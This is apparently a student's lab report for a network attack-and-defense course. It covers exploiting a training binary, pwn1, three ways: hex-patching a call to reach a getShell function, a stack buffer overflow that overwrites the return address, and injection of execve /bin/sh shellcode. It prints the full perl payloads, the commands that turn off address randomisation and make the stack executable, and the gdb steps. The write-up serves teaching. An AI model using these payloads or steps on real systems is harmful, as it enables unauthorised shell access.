# 20212904 2021-2022-2 《网络攻防实践》实践九报告

20212904 2021-2022-2 《网络攻防实践》实践九报告

1.实践内容

1.1实践目标

  • 给定一个名为pwn1的Linux可执行文件,该程序的正常执行流程为main()调用foo函数,foo函数回显用户输入的字符串。
  • 该程序的另一个代码段为getshell,会返回一个可用shell,我们的实践目标是运行这个代码片段以及注入运行任何shellcode。
  • 具体实践内容:
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

1.2实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码;
  • 掌握反汇编与十六进制编程器;
  • 能正确修改机器指令改变程序执行流程;
  • 能正确构造payload进行bof攻击。

1.3预备知识

  • NOP, JNE, JE, JMP, CMP汇编指令
    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    • JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far。(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
  • 反汇编与十六进制编程器
    • 反汇编:编写程序是利用高级语言如C,等高级语言进行编程的,然后再经过编译程序生成可以被计算机系统直接执行的文件(机器语言)。反汇编即是指将这些执行文件反编译还原成汇编语言或其他高级语言。但通常反编译出来的程序与原程序会存在许多不同,虽然执行效果相同,但程序代码会发生很大的变化。
    • 十六进制编程器:十六进制编辑器用于编辑文件,这些文件通常以十六进制格式组织。 其逻辑与以ASCII /文本格式组织的文本文件相同。

2.实践过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 下载文件pwn1,打开Kali,输入命令“objdump -d pwn1”对该文件进行反汇编。
  • 对以上反汇编结果进行分析:这里是三个函数main、getshell、foo。首先看main函数的调用情况,找到“80484b5: e8 d7 ff ff ff call 8048491 ”这一行,“call 8048491 ”是汇编指令,其含义是调用地址为8048491的foo函数,“e8 d7 ff ff ff”是机器指令,e8的含义是“跳转”,EIP(Extended Instruction Pointer,扩展指令指针)值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。由于main函数调用foo函数的机器指令为“e8 d7 ff ff ff”,所以要想调用getshell函数,只需把“d7 ff ff f”f改为getShell-80484ba对应的补码即可,因为47d-ba得到补码为c3 ff ff ff,因此main函数调用getshell函数的机器指令为“e8 c3 ff ff ff”。
  • 更改可执行文件,将call指令的目标地址由原来的“d7 ff ff ff”改为“c3 ff ff ff”。输入命令“vim pwn1”开始更改。
  • 输入指令“:%! xxd”,回车,将显示模式切换为16进制模式:
  • 找到这一行,先点击Ctrl+I进入插入模式,将“e8 d7”改为“e8 c3”。然后点击Esc,输入:wq保存并退出。

  • 输入指令“:%! xxd -r”将十六进制模式改回原格式,保存并退出。
  • 再次输入”objdump -d pwn1”命令反汇编查看call指令是否调用函数getshell。
  • 输入“./pwn1”运行改后的代码,会得到shell提示符#:

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

2.2.1反汇编,了解程序的基本功能

  • 使用未被篡改的源文件pwn1,输入命令“objdump -d pwn1”对该文件进行反汇编。
  • 该可执行文件正常运行要调用foo函数,该函数有Bof漏洞,foo函数读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。正常情况下,call调用函数foo会在堆栈上压入返回地址:0x80484ba。

2.2.2确定输入字符串的那几个字符会覆盖返回地址

  • “apt install gdb”安装,输入命令“gdb pwn1”调式程序。
  • 输入“r”,表示运行这个文件,输入有规律的字符串“1111111122222222333333334444444412345678”,程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出。
  • 输入“info r”查看寄存器eip的值,发现输入的后几位的“1234”覆盖到了堆栈上的返回地址。只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。

2.2.3确认用什么值覆盖返回地址

  • 通过前面的反汇编结果可以看到Getshell的地址为0804847d。确认字节序,是输入“11111111222222223333333344444444\x08\x04\x84\x7d”,还是输入“11111111222222223333333344444444\x7d\x84\x04\x08”。
  • 对比“eip 0x34333231 0x34333231”,我们的正确输入应为“11111111222222223333333344444444\x7d\x84\x04\x08”。

2.3注入一个自己制作的shellcode并运行这段shellcode

  • 准备一段Shellcode,shellcode是一段机器指令(code),这段机器指令的目的通常是获取一个交互式的shell(linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,例如添加一个用户、运行一条指令。
    • 首先使用“apt-get install execstack”命令安装execstack;
    • 输入“execstack -s pwn1”设置堆栈可执行;
    • 输入“execstack -q pwn1”查询文件的堆栈是否可执行 ;
    • 输入“more /proc/sys/kernel/randomize_va_space”查询是否关闭地址随机化;
    • 输入“echo "0" > /proc/sys/kernel/randomize_va_space”关闭地址随机化;
    • 输入“more /proc/sys/kernel/randomize_va_space”查询是否关闭地址随机化。
  • 构造要注入的payload。输入命令“perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode”进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr。
  • 然后在该终端运行“(cat input_shellcode;cat) | ./pwn1”注入这段攻击buf,打开另一个终端,运行“ps -ef | grep pwn”,可以看到pwn的进程3578。
  • 用gdb的“attach 3578”命令启动gdb调试这个进程。
  • 用“disassemble foo”命令反汇编,设置断点查看注入buf的内存地址。
  • 输入“b *0x080484ae”命令设置断点,输入“c”命令(continue)继续运行。
  • 在进程正在运行的终端敲回车,使其继续执行。
  • 再返回调试终端,输入“info r esp”命令查找地址为“x/16x 0xffffd5bc”。
  • 输入“x/16x 0xffffd5bc”命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd5bc+0x00000004=0xffffd5c0,所以地址应为0xffffd5c0。
  • 接下来只需要将之前的\x4\x3\x2\x1改为这个地址0xffffd5c0即可,用命令perl -e 'print "A" x 32;print "\xc0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode。
  • 再用“(cat input_shellcode;cat) | ./pwn1”命令次执行程序,攻击成功。

3.学习中遇到的问题及解决

  • 问题1:在编辑pwn1文件,改成十六进制模式的时候,输入“:%!xxd”回车出现错误。
  • 问题1解决方案:原因是未加空格,正确指令是!后面有个空格:“:%! xxd”。
  • 问题2:修改完十六进制的pwn1的文件之后,再次反汇编发现文件格式无法识别。
  • 问题2解决方案:原因是没把文件从十六进制格式改回原来的格式就保存退出了,再改回原格式即可。

4.实践总结

本次实验主要学习了如何改变现有程序的执行流程触发getShell函数以及注入一个自己制作的shellcode等知识,收获很大,对汇编指令、编译和反编译又有了进一步的理解。

posted @ 2022-05-13 10:11  z小kk  阅读(55)  评论(0编辑  收藏  举报